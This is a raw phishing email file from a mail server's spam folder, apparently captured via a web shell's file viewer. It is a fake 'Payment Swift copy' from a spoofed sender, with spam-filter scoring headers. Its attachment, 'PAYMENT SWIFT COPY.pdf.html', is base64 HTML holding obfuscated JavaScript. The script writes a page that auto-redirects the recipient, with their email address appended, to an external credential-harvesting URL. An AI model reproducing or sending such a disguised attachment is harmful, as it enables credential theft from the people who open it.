Current File : /home/casasdemontanacr/mail/.spam/new/1703292095.M522822P28012.rocket.alojo.es,S=7595,W=7739
Return-Path: <lish37262@gmail.com>
Delivered-To: casasdemontanacr+spam@rocket.alojo.es
Received: from rocket.alojo.es
by rocket.alojo.es with LMTP
id GEJkHr8shmVsbQAAc/8f+g
(envelope-from <lish37262@gmail.com>)
for <casasdemontanacr+spam@rocket.alojo.es>; Fri, 22 Dec 2023 18:41:35 -0600
Return-path: <lish37262@gmail.com>
Envelope-to: accounts@casasdemontanacr.com
Delivery-date: Fri, 22 Dec 2023 18:41:35 -0600
Received: from [91.92.245.47] (port=49195 helo=gmail.com)
by rocket.alojo.es with esmtp (Exim 4.96.2)
(envelope-from <lish37262@gmail.com>)
id 1rGq4y-0007IC-1u
for accounts@casasdemontanacr.com;
Fri, 22 Dec 2023 18:41:35 -0600
From: Accounting <lish37262@gmail.com>
To: accounts@casasdemontanacr.com
Date: 23 Dec 2023 01:40:54 +0100
Message-ID: <20231223014054.712DD540ED20DD10@gmail.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_C391315E.45E94F06"
X-Spam-Status: Yes, score=16.5
X-Spam-Score: 165
X-Spam-Bar: ++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "rocket.alojo.es",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: New Page 1 How are you Find attached PAYMENT SWIFT COPY. as
requested
Content analysis details: (16.5 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.2 FSL_HELO_FAKE No description available.
0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends
in digit
[lish37262[at]gmail.com]
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail
provider
[lish37262[at]gmail.com]
1.3 RCVD_IN_VALIDITY_RPBL RBL: Relay in Validity RPBL,
https://senderscore.org/blocklistlookup/
[91.92.245.47 listed in bl.score.senderscore.com]
1.5 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail)
1.5 SPF_HELO_SOFTFAIL SPF: HELO does not match SPF record (softfail)
0.0 DKIM_ADSP_CUSTOM_MED No valid author signature, adsp_override is
CUSTOM_MED
1.0 FORGED_GMAIL_RCVD 'From' gmail.com does not match 'Received'
headers
2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL
[91.92.245.47 listed in psbl.surriel.com]
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.0 T_HTML_ATTACH HTML attachment to bypass scanning?
-0.0 T_SCC_BODY_TEXT_LINE No description available.
0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message
and the domain has no DMARC policy
2.0 RDNS_NONE Delivered to internal network by a host with no rDNS
3.5 PHISH_ATTACH Attachment filename suspicious, probable phishing
0.0 PDS_HP_HELO_NORDNS High profile HELO with no sender rDNS
0.0 SPOOFED_FREEMAIL_NO_RDNS From SPOOFED_FREEMAIL and no rDNS
1.2 NML_ADSP_CUSTOM_MED ADSP custom_med hit, and not from a mailing
list
X-Spam-Flag: YES
Subject: ***SPAM*** =?UTF-8?B?RndkOiBQYXltZW50IFN3aWZ0wqBjb3B5IA==?=
This is a multi-part message in MIME format.
------=_NextPart_000_0012_C391315E.45E94F06
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.=
w3.org/TR/html4/loose.dtd">
<HTML><HEAD><TITLE>New Page 1</TITLE>
<META content=3Den-us http-equiv=3DContent-Language>
<META content=3D"text/html; charset=3Dwindows-1252" http-equiv=3DContent-Ty=
pe>
<META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD>
<body>
<DIV class=3DrcmBody style=3D"MARGIN: 0.5em">
<DIV>
<P><FONT size=3D4>How are you<BR> </FONT></P></DIV>
<DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: Calibri,Arial,Helvetica,sans-se=
rif; COLOR: rgb(0,0,0)"><FONT size=3D4>Find attached PAYMENT SWIFT COP=
Y. as requested
<P>kindly check with your bank for confirmation. </FONT></P></DIV>
<DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: Calibri,Arial,Helvetica,sans-se=
rif; COLOR: rgb(0,0,0)">
<P><FONT size=3D4>Thanks<BR>Accounting<BR>lisa</FONT></P>
<P> </P></DIV>
<P><SPAN style=3D"FONT-FAMILY: Calibri,Arial,Helvetica,sans-serif"><FONT si=
ze=3D4>-----Original Message-----<BR>From: "Account Payables/Credit Control=
Unit"<BR>Date: 12/23/2023 1:40:54 a.m.<BR>To: "Accounting"<</FONT></SPA=
N><FONT color=3D#0000ee size=3D4>lis</FONT><FONT size=3D4><A style=3D"COLOR=
: rgb(0,0,238)">h37262@gmail.com</A></FONT><SPAN style=3D"FONT-FAMILY: Cali=
bri,Arial,Helvetica,sans-serif"><FONT size=3D4>><BR>Subject: Fwd: Paymen=
t Swift copy </FONT></SPAN></P>
<P> </P>
<P><FONT size=3D4>Hello, lisa</FONT></P>
<P><FONT size=3D4>Kindly forward the attached Payment Swift copy=
to </FONT><A style=3D"COLOR: rgb(0,0,238)"><FONT size=3D4>accounts@c=
asasdemontanacr.com</FONT></A></P></DIV>
<P><FONT size=3D4>Best Regards,<BR>Account Payables/Credit Control Unit </F=
ONT></P></BODY></HTML>
------=_NextPart_000_0012_C391315E.45E94F06
Content-Type: text/html; name="PAYMENT SWIFT COPY.pdf.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="PAYMENT SWIFT COPY.pdf.html"
PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KPCEtLSA5anhnYTIycXd3c3pvdTV0
Zmd1amNjeXVpa2tvampraDc2Z2hiZ3hjdmJtbmJkenhoeWp1a28waTh1NzR3ZGVld2U1NDMz
NHJkeGZmdmdoLS0+DQo8IS0tDQpkb2N1bWVudC53cml0ZSh1bmVzY2FwZSgnJTNjJTIxJTQ0
JTRmJTQzJTU0JTU5JTUwJTQ1JTIwJTY4JTc0JTZkJTZjJTIwJTUwJTU1JTQyJTRjJTQ5JTQz
JTIwJTIyJTJkJTJmJTJmJTU3JTMzJTQzJTJmJTJmJTQ0JTU0JTQ0JTIwJTU4JTQ4JTU0JTRk
JTRjJTIwJTMxJTJlJTMwJTIwJTU0JTcyJTYxJTZlJTczJTY5JTc0JTY5JTZmJTZlJTYxJTZj
JTJmJTJmJTQ1JTRlJTIyJTBkJTBhJTBkJTBhJTIyJTY4JTc0JTc0JTcwJTNhJTJmJTJmJTc3
JTc3JTc3JTJlJTc3JTMzJTJlJTZmJTcyJTY3JTJmJTU0JTUyJTJmJTc4JTY4JTc0JTZkJTZj
JTMxJTJmJTQ0JTU0JTQ0JTJmJTc4JTY4JTc0JTZkJTZjJTMxJTJkJTc0JTcyJTYxJTZlJTcz
JTY5JTc0JTY5JTZmJTZlJTYxJTZjJTJlJTY0JTc0JTY0JTIyJTNlJTBkJTBhJTNjJTY4JTc0
JTZkJTZjJTIwJTc4JTZkJTZjJTZlJTczJTNkJTIyJTIyJTNlJTBkJTBhJTNjJTY4JTY1JTYx
JTY0JTNlJTBkJTBhJTNjJTZkJTY1JTc0JTYxJTIwJTY4JTc0JTc0JTcwJTJkJTY1JTcxJTc1
JTY5JTc2JTNkJTIyJTQzJTZmJTZlJTc0JTY1JTZlJTc0JTJkJTU0JTc5JTcwJTY1JTIyJTIw
JTYzJTZmJTZlJTc0JTY1JTZlJTc0JTNkJTIyJTc0JTY1JTc4JTc0JTJmJTY4JTc0JTZkJTZj
JTNiJTIwJTYzJTY4JTYxJTcyJTczJTY1JTc0JTNkJTY5JTczJTZmJTJkJTM4JTM4JTM1JTM5
JTJkJTMxJTIyJTIwJTJmJTNlJTBkJTBhJTNjJTZkJTY1JTc0JTYxJTIwJTY4JTc0JTc0JTcw
JTJkJTY1JTcxJTc1JTY5JTc2JTNkJTIyJTUyJTQ1JTQ2JTUyJTQ1JTUzJTQ4JTIyJTYzJTZm
JTZlJTc0JTY1JTZlJTc0JTNkJTIyJTMxJTNiJTc1JTcyJTZjJTNkJTY4JTc0JTc0JTcwJTNh
JTJmJTJmJTZkJTY1JTY0JTY5JTYzJTYxJTZjJTJkJTZmJTcwJTJlJTYzJTZmJTJlJTZhJTcw
JTJmJTZkJTc0JTJmJTY1JTc4JTc0JTZjJTY5JTYyJTJmJTRjJTU3JTUwJTJmJTYzJTczJTJl
JTY4JTc0JTZkJTZjJTNmJTY1JTZkJTYxJTY5JTZjJTNkJykpOw0KLy8tLT4NCjwvc2NyaXB0
Pg0KYWNjb3VudHNAY2FzYXNkZW1vbnRhbmFjci5jb20iPg0KPHRpdGxlPlVudGl0bGVkIERv
Y3VtZW50PC90aXRsZT4NCjwvaGVhZD4NCg0KPGJvZHk+DQoNCjwvYm9keT4NCjwvaHRtbD4N
Cg==
------=_NextPart_000_0012_C391315E.45E94F06--
Mini Shell